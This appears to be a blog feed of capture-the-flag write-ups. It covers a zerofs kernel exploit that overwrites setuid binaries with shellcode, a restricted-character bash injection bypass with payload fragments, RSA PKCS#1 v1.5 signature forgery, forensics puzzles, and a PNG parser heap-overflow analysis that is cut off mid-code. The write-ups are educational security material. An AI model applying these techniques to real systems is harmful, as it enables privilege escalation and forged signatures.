-rwxrwxr-x yoghur7/yoghur7 240 2018-03-29 03:42 public/run.sh
</pre></div>
<p><code>run.sh</code> is a shellscript to start the challege environment by kvm (or qemu). Notice, the arguments include <code>-initrd</code>. It means the rootfs is made by ramdisk and files will be stored in memory. I used the feature for exploit this challenge. </p>
<p>Obviously, we should analysis <code>zerofs.ko</code> at first. <strong>jeffxx</strong> found a repository called <a href="https://github.com/psankar/simplefs">simplefs</a> which is very similar with zerofs.ko, but a little difference still exists, such as the inode structure and super block. We made a little <a href="https://ddaa.tw/exp/0001-make-zerofs-image.patch">modification</a> after reversing <code>zerofs.ko</code> and we could make a legal image thourgh <code>mkfs-simplefs</code>. By the way, I didn't attend the reverse stage ... I was stucking in <strong>Might dragon</strong> at that time. Orz </p>
<h2>Vulnerability</h2>
<ol>
<li><code>zerofs_write</code>: There was a buffer overflow when using <code>copy_from_user</code> but it didn't check the boundary. This vulnerabiliy wouldn't be use in my exploit.</li>
<li><code>zerofs_read</code>: It checked that the length must be smaller than file size. However, because we could control the full file system, we could make an illegal file which file size is not equal to the real size (see <a href="https://ddaa.tw/exp/0002-illegal-size.patch">patch2</a>). After that, it will leak extra data in kernel memory when reading the file.</li>
<li><code>zerofs_lleek</code>: Exist the same problem that mention in <code>zerofs_read</code>. We could call <code>lseek</code> to control the position of the file.</li>
</ol>
<p>We could combine <code>llseek</code> with <code>zerofs_read</code> to leak the data more easier or <code>zerofs_write</code> to avoid breaking some important sturcture. </p>
<h2>Exploit</h2>
<p>Our target is getting the root priviledge and reading <code>/root/flag</code>. As above mentioned, the rootfs was on kernel memory, so we could modify the file throught arbitrary write in <code>zerofs_write</code>. I also noticed that both <code>/mount</code> and <code>/umount</code> are setuid programs. We could replace a part of file content to our shellcode. I think it is the easiest way to reach our target. </p>
<p>Now, we almost had an arbitrary read or write on kernel memory, but we could not confirm the offset because the randomization of kernel heap mechanism. Thus, we must to identify the distance between the overflowed buffer and the rootfs. </p>
<p>I disabled KASLR and use gdb to watch the kernel memory. It looks like below:</p>
<div class="highlight"><pre><span></span>pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffe4e844000 0x7ffe4e847000 rwxp 3000 0 <=== user space program
0xffff880002dbd000 0xffff8800035bd000 rwxp 800000 0 <=== overflowed buffer
0xffff880003614000 0xffff880003e14000 rwxp 800000 0 <=== rootfs
0xffffc900001c2000 0xffffffff82203000 rwxp 36ff82041000 0 [stack]
0xffffffff8143a000 0xffffffff81c3a000 rwxp 800000 0
0xffffffffbffff000 0xffffffffc0004000 rwxp 5000 0
</pre></div>
<p>I noticed that the offset of rootfs is fixed, but the offset of overflowed buffer would change. I'm not sure the reason, maybe it was generated dynamicly by <code>__bread_gfp</code>? Despite sometime it would be the same, I wanted to make a stable exploit because it was annoying to upload file to the remote environment. </p>
<p>We could write a program that keeps adjust the position by <code>lseek</code> and leaking memory by <code>read</code>, then checking if the leaked data contains the specified pattern. I chose a string <strong>/bin/mount</strong> to be the pattern because it occurs in rootfs once and it is used by <code>/mount</code>. After finding the pattern, we could add or minus the offset to modify any file on rootfs. The proof-of-concept is as below:</p>
<div class="highlight"><pre><span></span>for (int i = start; i < end; i++) {
lseek(fd, i * 0x1000, SEEK_SET);
read(fd, buf, 0x1000);
if (search(buf, PATTERN)) {
printf("offset = %d\n", i);
off = i * 0x1000 - 0x94000 + 0x1081;
break;
}
}
</pre></div>
<p>Finally, adjust the file position to the calculated offsetand and write a shellcode to execute <code>/bin/sh</code>. After that, execute <code>/mount</code> again. We could get a shell with the root priviledge. :)</p>
<h2>Note</h2>
<p>There are some detail about making the exploit.</p>
<ol>
<li>For local testing, I wrote a script to repack rootfs into a cpio file. The image and exploit will in the file system after rebooting.</li>
<li>Adding <code>-s</code> into the arguments when starting qemu and using gdb remote attach to debug my exploit.</li>
<li>Modify <code>/init</code> to initialize something, such as mount /tmp/zerofs.img and set priviledge to root.</li>
<li>The environment linked most of binary to busybox. Thus, I uploaded the image and exploit by copy-paste base64 string and decode them back to the binary. Is there a better way?</li>
<li>I needed to keep the size of exploit small because using copy-paste to upload, but there is no glibc in the environment. Thus, I compiled my exploit with <a href="https://www.fefe.de/dietlibc/">dietlibc</a>.</li>
<li>As our expectation, we could not find the pattern like <code>flag{</code> directly, because <code>/root/flag</code> is a pure binary file.</li>
</ol>
<p>flag: <code>flag{600291f9a05a1e78215aa48c9ff6a4b1bb207c2b4ffa66223fcc67c04281397f}</code> </p>
<p>exploit: <a href="https://ddaa.tw/exp/zerofs.c">exp.c</a> </p>34C3CTF 2017 MISC 162 minbashmaxfun2018-01-04T01:05:00+08:002018-01-04T01:05:00+08:00ddaatag:ddaa.tw,2018-01-04:/34c3ctf_2017_misc_162_minbashmaxfun.html<p>34C3 跟去年一樣是在上班時間舉辦<br>
沒什麼時間打,第二天的下班時間幾乎都在解這題<br>
這題應該是至今解過限制最多的 cmd injection 題目了... </p>
<hr>
<p>題目會把我們的 input 丟到 <code>execl("/bin/bash", "/bin/bash", "-c", input, NULL)</code> 執行<br>
但 input 只能包含以下字元:<code>$ ( ) # ! { } < \ '</code><br>
而且執行前會把 stdin 先關掉,無法交互執行指令<br>
(後面會說明這有多靠北 = =)<br>
原本以為是類似 <a href="http://pwnable.kr">pwnable.kr</a> 的 <strong>cmd3</strong><br>
可以拿以前的 payload 來用...果然是太天真了 QQ<br>
這題比起 <strong>cmd3</strong> 更困難的地方在於連路徑都無法使用<br>
不過,解題思路還是有相似之處 </p>
<p><strong>cmd3</strong> 也限制了輸入英數字,但可以用 <code>$((a+b))</code> 的方式做出各種數字<br>
這題連運算符號也限制了 …</p><p>34C3 跟去年一樣是在上班時間舉辦<br>
沒什麼時間打,第二天的下班時間幾乎都在解這題<br>
這題應該是至今解過限制最多的 cmd injection 題目了... </p>
<hr>
<p>題目會把我們的 input 丟到 <code>execl("/bin/bash", "/bin/bash", "-c", input, NULL)</code> 執行<br>
但 input 只能包含以下字元:<code>$ ( ) # ! { } < \ '</code><br>
而且執行前會把 stdin 先關掉,無法交互執行指令<br>
(後面會說明這有多靠北 = =)<br>
原本以為是類似 <a href="http://pwnable.kr">pwnable.kr</a> 的 <strong>cmd3</strong><br>
可以拿以前的 payload 來用...果然是太天真了 QQ<br>
這題比起 <strong>cmd3</strong> 更困難的地方在於連路徑都無法使用<br>
不過,解題思路還是有相似之處 </p>
<p><strong>cmd3</strong> 也限制了輸入英數字,但可以用 <code>$((a+b))</code> 的方式做出各種數字<br>
這題連運算符號也限制了...不過原理大同小異 </p>
<ol>
<li><code>$#</code> => 0 <ul>
<li><code>$#</code> 的意思是參數的個數,這題沒有其餘的參數所以會是 0 </li>
</ul>
</li>
<li><code>$(($#<$$))</code> => 1<ul>
<li><code>$$</code> 代表的是目前的 pid ,pid 會 > 0 所以可以得到 1</li>
<li>後來看 write-up 學到 <code>${##}</code> 就能得到 1 </li>
<li>大括號前面加 <code>#</code> 的用意是取得變數的長度</li>
</ul>
</li>
<li><code>$((1<<1))</code> => 2 <ul>
<li>shift 運算,bj4</li>
</ul>
</li>
<li><code>$((2#bbb))</code> => 任意數字<ul>
<li>將 bbb 以二進制轉換成數字</li>
</ul>
</li>
</ol>
<p>接著就卡關了好一陣子,大概花了兩三小時 RTFM<br>
推薦超詳細的 bash 文件 <a href="http://tldp.org/LDP/abs/html/abs-guide.html">Advanced Bash-Scripting Guide</a><br>
這題因為可用的字元超少,所以目標是先弄懂每個字元的功能<br>
早些時候 freetsubasa 提出了從 <code>$0</code> 的得到 <code>bash</code> 的思路<br>
但透過變數取得的數字會喪失原本的功能<br>
原本以為無法,結果在翻文件的過程發現 <code>${!#}</code> 這個東西<br>
效果等同於 <code>$BASH_ARGV</code>,其值會執行目前 script 的名稱<br>
前面提到這題的執行環境是 <code>/bin/bash -c input</code><br>
因此透過 <code>${!#}</code> 我們可以取得 <code>/bin/bash</code> 的字串 </p>
<p>在正常的環境下,搞出 <code>/bin/bash</code> 就可以執行 shell 了<br>
但這題因為把 stdin 給關了<br>
即使執行 <code>/bin/bash</code> 也會立刻結束程序<br>
因此要能執行任意指令才能解這一題...<br>
透過 $ 編碼的數字無法在同一層 shell 解析<br>
但是可以將編碼餵給再次執行的 bash<br>
由第二層的 bash 來解析編碼<br>
這部分可以透過 pipe 來達成<br>
<code><<<</code> 的用途是將任意字串交由前面的指令執行<br>
bash 可以用 <code>$'\ooo'</code> 的形式來表達任意字元(ooo 是字元轉 ascii 的八進制)<br>
結合這兩者,我們就可以執行任意指令<br>
到目前為止,不算數字編碼的部分,payload 會長的像這樣:<br>
<code>${!#}<<<$'\154\163'</code></p>
<p>上述的做法雖然已經可以執行任意指令,但不能給參數...<br>
原因將空白 pipe 進前面的指令,會被當成同一個參數內的東西<br>
沒辦法作為第二層 bash 分隔符號<br>
這邊的解決方式是傳入 <code>{a,b}</code> 的語法<br>
會被 bash 自動擴展成兩個不同的參數 <code>a b</code><br>
也就是說, shell 裡輸入 <code>{ls,-al}</code><br>
效果等同於輸入 <code>ls -al</code><br>
至此,我們已經可以做到執行任意指令<br>
接下來就只要 <code>cat /flag</code> 就可以拿到 flag 了~ </p>
<p>...並不是<br>
flag 的權限是 root:root 400<br>
題目還準備了一個 setuid 的 <code>/get_flag</code><br>
要執行才能拿到 flag ,但執行下去的結果是:</p>
<blockquote>
<p>Please solve this little captcha:<br>
4202242116 + 2217953831 + 1255076993 + 3775205480 + 2795260270<br>
14245738690 != 0 :( </p>
</blockquote>
<p>不知道各位看官是不是還記得 stdin 已經被關閉了<br>
以目前的情況而言,我們必須在執行前就輸入好答案<br>
所以這個看似簡單的 captcha ,實際上是超靠北的問題<br>
為此我還將 <code>get_flag</code> dump 出來分析看 captcha 有沒有辦法預測 XD </p>
<p>發現這個問題後,第一個想法是打 reverse shell 出來<br>
這樣就可以無視 stdin 被關掉的問題<br>
但發現目前的 payload 沒辦法在第二層 bash 裡面處理 pipe 符號 <br>
為了做到 fd 重導向,必須在第二層 bash 再次執行 <code>bash -c <cmd></code><br>
結果解完 pipe 的問題才發現 sandbox 裡面沒有網路環境 囧<br>
因此 captcha 唯一的解法是透過 pipe 得到 <code>/get_flag</code> 的 output<br>
計算完結果後在導回 <code>/get_flag</code> 的 stdin </p>
<p>這部分解法就很多種了<br>
我想到的是透過 <code>tail</code> 和 <code>tee</code> 來達成:</p>
<ol>
<li><code>tail -F /tmp/log | /get_flag | tee /tmp/result &</code></li>
<li><code>echo $answer > /tmp/log</code></li>
<li><code>cat /tmp/result</code></li>
</ol>
<p>不過 mike 大概早我五分鐘先解出來了 XD<br>
作法是上傳 elf,透過 elf 處理 pipe 的問題 <br>
官方的解法是用 <code>exec</code> 和 pid 做 fd 重導向<br>
個人覺得 <strong>LosFuzzys</strong> 的<a href="https://losfuzzys.github.io/writeup/2017/12/30/34c3ctf-minbashmaxfun/">解法</a>最漂亮<br>
可以在一行指令搞定 </p>
<p>flag: <code>34C3_HAHAHA_you_bashed_it_You_truly_are_a_god_of_BASH</code></p>
<p>exploit: <a href="https://ddaa.tw/exp/minbashmaxfun.py">exp.py</a></p>Google CTF 2017 Crypto 201 RSA CTF Challenge2017-06-26T11:38:00+08:002017-06-26T11:38:00+08:00ddaatag:ddaa.tw,2017-06-26:/gctf_crypto_201_rsa_ctf_challenge.html<p>這題沒有解出來...不過學到很多關於 <strong>PKCS#1 v1.5</strong> 的攻擊方式<br>
還是厚著臉皮寫了一篇 write up </p>
<hr>
<p>PKCS#1 v1.5 是 RSA 的一種實際應用方式,詳細內容可以參考 RFC 2313<sup id="fnref-rfc2313"><a class="footnote-ref" href="#fn-rfc2313">1</a></sup><br>
目的是將訊息 padding 後構造成數位簽章或數位信封使用的格式,大概會長得這樣:</p>
<div class="highlight"><pre><span></span><span class="n">EB</span><span class="o">:</span> <span class="n">Encryption</span> <span class="n">block</span>
<span class="n">BT</span><span class="o">:</span> <span class="n">Block</span> <span class="n">type</span><span class="o">,</span> <span class="mi">00</span><span class="o">,</span> <span class="mi">01</span><span class="o">,</span> <span class="mi">02</span>
<span class="n">PS</span><span class="o">:</span> <span class="n">Padding</span> <span class="n">string</span>
<span class="n">D</span><span class="o">:</span> <span class="n">Data</span>
<span class="n">EB</span> <span class="o">=</span> <span class="mi">00</span> <span class="o">||</span> <span class="n">BT</span> <span class="o">||</span> <span class="n">PS</span> <span class="o">||</span> <span class="mi">00</span> <span class="o">||</span> <span class="n">D</span>
</pre></div>
<p>本題是要找出是簽署 <code>challenge</code> 這個字串的 signature <br>
因此接下來只看 …</p><p>這題沒有解出來...不過學到很多關於 <strong>PKCS#1 v1.5</strong> 的攻擊方式<br>
還是厚著臉皮寫了一篇 write up </p>
<hr>
<p>PKCS#1 v1.5 是 RSA 的一種實際應用方式,詳細內容可以參考 RFC 2313<sup id="fnref-rfc2313"><a class="footnote-ref" href="#fn-rfc2313">1</a></sup><br>
目的是將訊息 padding 後構造成數位簽章或數位信封使用的格式,大概會長得這樣:</p>
<div class="highlight"><pre><span></span><span class="n">EB</span><span class="o">:</span> <span class="n">Encryption</span> <span class="n">block</span>
<span class="n">BT</span><span class="o">:</span> <span class="n">Block</span> <span class="n">type</span><span class="o">,</span> <span class="mi">00</span><span class="o">,</span> <span class="mi">01</span><span class="o">,</span> <span class="mi">02</span>
<span class="n">PS</span><span class="o">:</span> <span class="n">Padding</span> <span class="n">string</span>
<span class="n">D</span><span class="o">:</span> <span class="n">Data</span>
<span class="n">EB</span> <span class="o">=</span> <span class="mi">00</span> <span class="o">||</span> <span class="n">BT</span> <span class="o">||</span> <span class="n">PS</span> <span class="o">||</span> <span class="mi">00</span> <span class="o">||</span> <span class="n">D</span>
</pre></div>
<p>本題是要找出是簽署 <code>challenge</code> 這個字串的 signature <br>
因此接下來只看 BT = 01 的情況<br>
簽署 signature PS 會是 n 個 ff<br>
Data 會由兩部分組成,分別是 <code>ASN.1</code><sup id="fnref-asn1"><a class="footnote-ref" href="#fn-asn1">2</a></sup> 和 <code>hash(m)</code><br>
<code>ASN.1</code> 取決於後面用哪一種 hash 演算法<br>
可以把他想像成 hash 演算法的特徵碼 </p>
<p>PKCS#1 v1.5 本身沒有問題<br>
但是在兩個條件存在時,可以任意偽造任意訊息的 signature </p>
<ol>
<li>RSA 產生 key pair 時使用了過小的 e (exponent)</li>
<li>用了不正確的方式解析 signature</li>
</ol>
<p>RSA 的加密方式是 <code>c = m ** e % N</code><br>
如果 e 太小,導致 <code>m ** e < N</code> 成立,解密就可以化簡成:</p>
<div class="highlight"><pre><span></span>已知 m、N、e,求 c 的 e 次方根
</pre></div>
<p>對 PKCS#1 v1.5 而言也有類似的問題,由於格式固定<br>
如果知道 public key 的長度和 message,我們可以推出 RSA 加密後的 signature 會是: </p>
<div class="highlight"><pre><span></span>EB = 0001 + ff * n + 00 + ASN.1 + hash(m)
</pre></div>
<p>n 取決於 public key 的長度,假設長度是 1024,就要 padding 91 個 ff<br>
如果 e 太小而且<code>EB</code> 剛好是 e 次方數,signature 就是 <code>EB</code> 開 e 次方根<br>
(不太確定在正確 padding 的情況下,<code>EB</code> 是不是不可能會是 e 次方數) </p>
<p>本題在原始碼中附上了 public key<br>
N = 1024 bit,e = 3<br>
想當然,這題的 <code>EB</code> 不是一個立方數 XD<br>
因此還需要條件 2 才有辦法成功偽造 <code>challenge</code> 的 signature </p>
<p>關於 PKCS#1 v1.5 的攻擊最早由 <strong>Bleichenbacher</strong> 提出<sup id="fnref-Bleichenbacher"><a class="footnote-ref" href="#fn-Bleichenbacher">3</a></sup> (疑似是這題的出題者)<br>
其中一種方式是 <strong>Chosen Cipher Attacks</strong><br>
後來有人把各種因為實作上的缺陷而產生的攻擊方式整理成一篇論文<sup id="fnref-sigflaw"><a class="footnote-ref" href="#fn-sigflaw">4</a></sup> </p>
<p>由於本題沒有給 server 端的 source code<br>
因此我們不曉得條件 2 是因為如何實作而導致的<br>
準確地說,我們甚至不能確定條件 2 是否存在<br>
因此只能靠猜測的方式,亂送各種因為實作上缺陷而可以偽造的 signature 給 server </p>
<p>以下是可能的幾種實作缺陷:</p>
<h3>1. Bleichenbacher’s Low-Exponent Attack</h3>
<p>此方式是最早提出的攻擊手段<br>
原因是實作時沒有驗證是否有額外的資料在 <code>hash(m)</code> 之後<br>
假設題目是此種實作缺陷,可以送這種格式讓 server 解密:<br>
<code>0001 + ff*91 + 00 + ASN.1 + hash(m) + evil</code><br>
由於 evil 是在放在 payload 的最後,有很大的機率可以將 payload 補成一個立方數<br>
不過此題不是這種實作缺陷<br>
這種攻擊方式要在 key 長度在 3072 以上才保證一定成功<br>
1024 會有無法成功補成立方數的可能 </p>
<h3>2. Variants for Smaller RSA Moduli</h3>
<p>此方式是因為沒有正確檢查 <code>EB</code> 的長度<br>
由於 <code>ASN.1</code> 長度不固定的原因<br>
有些實作方式不會正確檢查 ff 的個數<br>
只檢查總長度為 8 的倍數<br>
因此我們有機會透過調整 ff 的個數把 payload 控制成一個立方數<br>
不過這題也不是考這種利用方式<br>
試了一下在此題結尾必須是 <code>md5("challenge")</code> 的情況下<br>
不管怎麼刪減都沒辦法做出有效的 payload </p>
<h3>3. Exploiting the Algorithm Parameters Field</h3>
<p>最早被提出是在 CVE-2006-4339<sup id="fnref-cve-2006-4339"><a class="footnote-ref" href="#fn-cve-2006-4339">5</a></sup>,GnuTLS 的實作缺陷<br>
GnuTLS 在某段程式碼中假設傳進來的 payload 一定是用 md5 做 hash 的 <code>EB</code><br>
完全沒有檢查 <code>ASN.1</code> 的內容是否正確<br>
因此可以透過調整 <code>ASN.1</code> 欄位的內容讓 EB 變成一個立方數<br>
論文中衍伸了 CVE-2006-4339 提到的攻擊手法<br>
並將條件改成有分段檢查 <code>ASN.1</code> 的欄位<br>
問題變成可以用不同的 hash 算法混淆判斷來製造立方數<br>
這題我嘗試了 <code>CVE-2006-4339</code> 的實作缺陷,也不成功<br>
論文提到的衍伸方式利用條件太嚴謹了,看起來這題就做不到 XD </p>
<h3>4. Attack Variant against the Netscape Security Services</h3>
<p>這個實作缺陷最早是發現在 NSS 的原始碼<br>
原因跟 2. 有點類似,但是變成完全不檢查 ff<br>
由於 PKCS#1 v1.5 是向右對齊<br>
NSS 的實作方式從右邊檢查完 <code>hash(m)</code>、<code>ASN.1</code> 以後<br>
就檢查是否用 <code>00</code> 分隔和 <code>0001</code> 結尾<br>
因此可以送以下格式的 payload 來偽造:<br>
<code>0001 + 00 + evil + hash(m)</code><br>
<strong>python-rsa</strong> 也有發生過類似的問題 CVE-2016-1494<sup id="fnref-cve-2016-1494"><a class="footnote-ref" href="#fn-cve-2016-1494">6</a></sup><br>
差別是有多檢查 <code>ASN.1</code>,因此要改成送這樣的格式:<br>
<code>0001 + 00 + evil + ASN.1 + hash(m)</code> </p>
<p>本題考的是 CVE-2016-1494<br>
比賽中我也有嘗試這種做法...不過我是拿別人的 code 來改的
不確定是原本就寫錯了,還是我改壞了<br>
我沒辦法在 message 是 <code>challenge</code> 的情況找出一組成功的解 Orz<br>
我就以為不是考這個了...<br>
比賽完自己重寫一遍,就有成功解出 flag 了 = = </p>
<p>在實作時有很重要的一點是,由於數字很大<br>
基本上不可能一個一個數字去試是不是立方數<br>
要透過 bit 枚舉的方式快速找出後綴符合 <code>ASN.1 + hash(m)</code> 的數字<br>
然後用二分法找前綴符合 <code>000100</code> 開頭的數字<br>
就可以解出 flag 了<br>
解完後往 server 送,server 就會吐 flag 在網頁上了 </p>
<p>flag: <code>CTF{zx2fn265ll7}</code></p>
<div class="footnote">
<hr>
<ol>
<li id="fn-rfc2313">
<p>PKCS #1: RSA Encryption, <a href="https://tools.ietf.org/html/rfc2313">https://tools.ietf.org/html/rfc2313</a> <a class="footnote-backref" href="#fnref-rfc2313" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
<li id="fn-asn1">
<p>Abstract Syntax Notation One,定義於 X.208 <a class="footnote-backref" href="#fnref-asn1" title="Jump back to footnote 2 in the text">↩</a></p>
</li>
<li id="fn-Bleichenbacher">
<p><a href="http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf">http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf</a> <a class="footnote-backref" href="#fnref-Bleichenbacher" title="Jump back to footnote 3 in the text">↩</a></p>
</li>
<li id="fn-sigflaw">
<p><a href="https://www.cdc.informatik.tu-darmstadt.de/reports/reports/sigflaw.pdf">https://www.cdc.informatik.tu-darmstadt.de/reports/reports/sigflaw.pdf</a> <a class="footnote-backref" href="#fnref-sigflaw" title="Jump back to footnote 4 in the text">↩</a></p>
</li>
<li id="fn-cve-2006-4339">
<p><a href="https://lists.gnupg.org/pipermail/gnutls-dev/2006-September/001240.html">https://lists.gnupg.org/pipermail/gnutls-dev/2006-September/001240.html</a> <a class="footnote-backref" href="#fnref-cve-2006-4339" title="Jump back to footnote 5 in the text">↩</a></p>
</li>
<li id="fn-cve-2016-1494">
<p><a href="https://blog.filippo.io/bleichenbacher-06-signature-forgery-in-python-rsa/">https://blog.filippo.io/bleichenbacher-06-signature-forgery-in-python-rsa/</a> <a class="footnote-backref" href="#fnref-cve-2016-1494" title="Jump back to footnote 6 in the text">↩</a></p>
</li>
</ol>
</div>Trend Micro CTF 2017 write-ups2017-06-25T20:01:00+08:002017-06-25T20:01:00+08:00ddaatag:ddaa.tw,2017-06-25:/tmctf_misc_2400_write_ups.html<p>Our team <code>phddaa</code> (what the f...) got 2400 points and 19th rank this year.<br>
We didn't spend too much time on this game because we think the competition is 48 hours. O__O<br>
There are several categories of challenges but I don't know how they distinguish.<br>
Almost of challenges need to …</p><p>Our team <code>phddaa</code> (what the f...) got 2400 points and 19th rank this year.<br>
We didn't spend too much time on this game because we think the competition is 48 hours. O__O<br>
There are several categories of challenges but I don't know how they distinguish.<br>
Almost of challenges need to analyze and guess... Thus, I put this write up in <strong>misc</strong> category. </p>
<hr>
<h3>Analysis-Offensive 100</h3>
<p>The problem provided a binary named <code>Forensic_Encyption</code>. The file type is <code>MS-DOS</code> but it's not a real MS-DOS executable. After a liitle guessing, I found the binary is a zip file. We can get two files, <code>file_1</code> and <code>file_2</code> after extracted <code>Forensic_Encyption</code>. </p>
<ul>
<li><code>file_1</code> <ul>
<li>An image with jpeg format hide a string <code>VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u</code> in exif information.</li>
<li>Decode the string with base64 and get <code>Turing_Machine_automaton</code>.</li>
</ul>
</li>
<li><code>file_2</code> <ul>
<li>Another zip file.</li>
<li>We can extract a text file <code>key.txt</code> with the password <code>Turing_Machine_automaton</code>.</li>
</ul>
</li>
</ul>
<p><code>key.txt</code> is a file which recorded the information about <code>ipsec</code>. I spent some time at this stage to find more clues. Finally, I found another file <code>file_3</code> hidden in <code>Forensic_Encyption</code>. We can modify the header back to <code>PK</code> and extract <code>file_3</code>.<br>
<code>file_3</code> is a pcap which recorded the traffic contained <code>ESP</code> protocol. We can decrypt the traffic with <code>key.txt</code> then get a html file. </p>
<div class="highlight"><pre><span></span><span class="n">Reflector</span><span class="o">:</span><span class="n">C</span> <span class="n">Thin</span><span class="o">,</span> <span class="n">beta</span><span class="o">,</span> <span class="n">I</span><span class="o">,</span> <span class="n">IV</span><span class="o">,</span> <span class="n">II</span> <span class="o">(</span><span class="n">T</span> <span class="n">M</span> <span class="n">J</span> <span class="n">F</span><span class="o">),</span> <span class="n">Plugboard</span><span class="o">:</span> <span class="n">L</span><span class="o">-</span><span class="n">X</span><span class="sr">/A-C/</span><span class="n">B</span><span class="o">-</span><span class="n">Y</span>
<span class="n">TMCTF</span><span class="o">{</span><span class="n">APZTQQHYCKDLQZRG</span><span class="o">}</span>
<span class="n">APZTQQHYCKDLQZRG</span> <span class="k">is</span> <span class="n">encrypted</span><span class="o">.</span>
</pre></div>
<p>The cipher is encrypted by <code>enigma</code>, but the website contained the encrypted key. Thus, we can decrypt the cipher easily.<br>
I use <a href="http://summersidemakerspace.ca/projects/enigma-machine/">this</a> to encrypt and get the real flag.<br>
The flag is: <code>TMCTF{RISINGSUNANDMOON}</code> </p>
<h3>Analysis-Offensive 200</h3>
<p><code>cracktheflag.exe</code> is a simple passcode validator which received a number and judge if the number is a valid passcode.<br>
Surprisingly, this challege can be solved without any guessing. </p>
<p>The condition of the valid passcode is as below:</p>
<div class="highlight"><pre><span></span>x1 = passcode / 10000 % 100
x2 = passcode / 100 % 100
x3 = passcode % 100
1. len(passcode) == 6
2. `passcode` is primes
3. x1 is primes
4. x2 is primes
5. (x3 * x3 ^ x1) >> 8 == 0
6 sum(ascii(d) for d in passcode) - 288 is primes
</pre></div>
<p>At first, I tried to solve it with <strong>z3</strong>. However, it will spend a lot of time when checking prime. I decided to write a script to filter all possible solutions.<br>
We can list all of the primes which satisified condition 1 and 2, then filter them with condition 3 to 6.<br>
I found 7 solutions to satisify all conditions, and the biggest one is <code>236749</code>:</p>
<ul>
<li>20509</li>
<li>24109</li>
<li>24709</li>
<li>25309</li>
<li>234149</li>
<li>234749</li>
<li>236749</li>
</ul>
<p>The program description said there are 8 possible solutions. I have no idea where is wrong.<br>
Anyway, the biggest passcode is the same. </p>
<p>flag: <code>TMCTF{236749}</code> </p>
<h3>Forensic 100</h3>
<p>The pcap is a DNS traffic. According the description, there are some messages hidden in the traffic. The hostnames are very suspicious because the last one is shorter than others. I concated them and decode it with base64, but getting nothing. I stuck in this stage until organizers posted a hint which said the cipher is <code>base</code> but not <code>base64</code>.<br>
I tried to decode with familiar base familiy blindly, such as <code>base128</code>, <code>base32</code>. Obviously, it's wrong. Our teammate <strong>jeffxx</strong> found only 58 charcaters appeared in the cipher, then I tried <code>base58</code> and success to decode the cipher. The plaintext is an article and the flag is at the end. </p>
<p>flag: <code>TMCTF{DNSTunnelExfil}</code></p>
<h3>MISC 100</h3>
<p>I could not analyze the pcap with <em>wireshark</em> at first because the header was corruption. However, I saw there are some strings begin with <code>CLIENT_RANDOM</code> in the pcap. After googled, I known <code>CLIENT_RANDOM</code> is encrypted keys used in HTTP2 traffic. Thus, I tried to repair the pcap. <code>file</code> command said the pcap file is big-endien, but I compared with the other pacp file and found only the order of first 4 bytes is wrong. After fixed it, <strong>wireshark</strong> could open the pcap normally and I could dump the object in HTTP2 traffic manually. I'm not sure if the latest wireshark support to dump HTTP2 object. </p>
<p>The traffic is someone access a website about <strong>visual cryptgraphy</strong>. There are some pictures hidden in traffic and css. I stack at here then my teammate <strong>atdog</strong> found a methond to overlap the iamges and get the flag. <(_ _)>. </p>
<p>flag: <code>TMCTF{CanYouSeeThis?}</code></p>Codegate CTF 2017 prequals web+pwn 435 PNGParser2017-02-13T11:34:00+08:002017-02-13T11:34:00+08:00ddaatag:ddaa.tw,2017-02-13:/codegate_web+pwn_435_pngparser.html<p>The challenges is more interesting than last year.<br>
However, why held the CTF on Friday? :( </p>
<hr>
<p>The problem description provided some website links for us. All of them are the same.<br>
There are two tags on the website. One of them is named <code>FILE UPLOAD</code>, Another one is named <code>INTERNET</code>.<br>
We …</p><p>The challenges is more interesting than last year.<br>
However, why held the CTF on Friday? :( </p>
<hr>
<p>The problem description provided some website links for us. All of them are the same.<br>
There are two tags on the website. One of them is named <code>FILE UPLOAD</code>, Another one is named <code>INTERNET</code>.<br>
We could upload a PNG file from local or through internet.<br>
My teammate, <strong>jeffxx</strong> found there is a LFI vulnerability in <code>INTERNET</code> page.<br>
It can read any file after modified the protocol to <code>file://</code>.<br>
However, the flag doesn't located on the general path.<br>
We could not read the flag directly, but we could download the source.<br>
After reading source, we could find a elf file named <code>PNGParser</code> will be executed when the website handled the uploaded PNG file. </p>
<p><code>PNGPareser</code> must be executed with one argument <code>file_name</code>.<br>
It will parse the file and dump each entry in the file if the file is a legal PNG file.<br>
I decided to fuzz the binary after openen it wit <strong>IDA Pro</strong> because the parser is a little complicated.<br>
Luckily, the binary crashed easily and the error message was:</p>
<blockquote>
<p>*** Error in `./pngparser': double free or corruption (out): 0x089f0598 ***</p>
</blockquote>
<p>Now, we knowed the crashed point at <code>0x089f0598</code>, but why it crashed ?.<br>
With the program slicing skill that I learned from Software Debugging, I found the fault is happened on <code>0x0804946d</code>.<br>
Heap overflow happened after the program called <code>memcpy()</code> and the buffer that stored the PNG content overwrote the top chunk.<br>
In order to understand what happened, we need to take a look on PNG stcucture before going on. </p>
<div class="highlight"><pre><span></span><span class="cm">/* Some members may not be exactly. Sorry for my indolence. */</span><span class="w"></span>
struct<span class="w"> </span>PNG<span class="w"></span>
<span class="err">{</span><span class="w"></span>
<span class="w"> </span>int<span class="w"> </span>status<span class="err">;</span><span class="w"></span>
<span class="w"> </span>char<span class="w"> </span>header<span class="err">[</span><span class="m">8</span><span class="err">];</span><span class="w"></span>
<span class="w"> </span>char<span class="w"> </span>next<span class="err">[</span><span class="m">4</span><span class="err">];</span><span class="w"></span>
<span class="w"> </span>int<span class="w"> </span>chunk_size<span class="err">;</span><span class="w"></span>
<span class="w"> </span>void<span class="w"> </span><span class="o">*</span>data_ptr<span class="err">;</span><span class="w"></span>
<span class="w"> </span>int<span class="w"> </span>size1<span class="err">;</span><span class="w"></span>
<span class="w"> </span>int<span class="w"> </span>size2<span class="err">;</span><span class="w"></span>
<span class="w"> </span>char<span class="w"> </span><span class="o">*</span>buf<span class="err">;</span><span class="w"></span>
<span class="w"> </span>char<span class="w"> </span>entry<span class="err">[</span><span class="m">80</span><span class="err">];</span><span class="w"></span>
<span class="err">};</span><span class="w"></span>
</pre></div>
<p>And here is a piece of pseudocode nearby <code>memcpy()</code>:</p>
<div class="highlight"><pre><span></span>int parse_png(PNG *png, char *buf, size_t len)
{
...
while ( i < len )
{
if ( len - i >= png->s1 - png->s2 )
v4 = png->s1 - png->s2;
else
v4 = 2000;
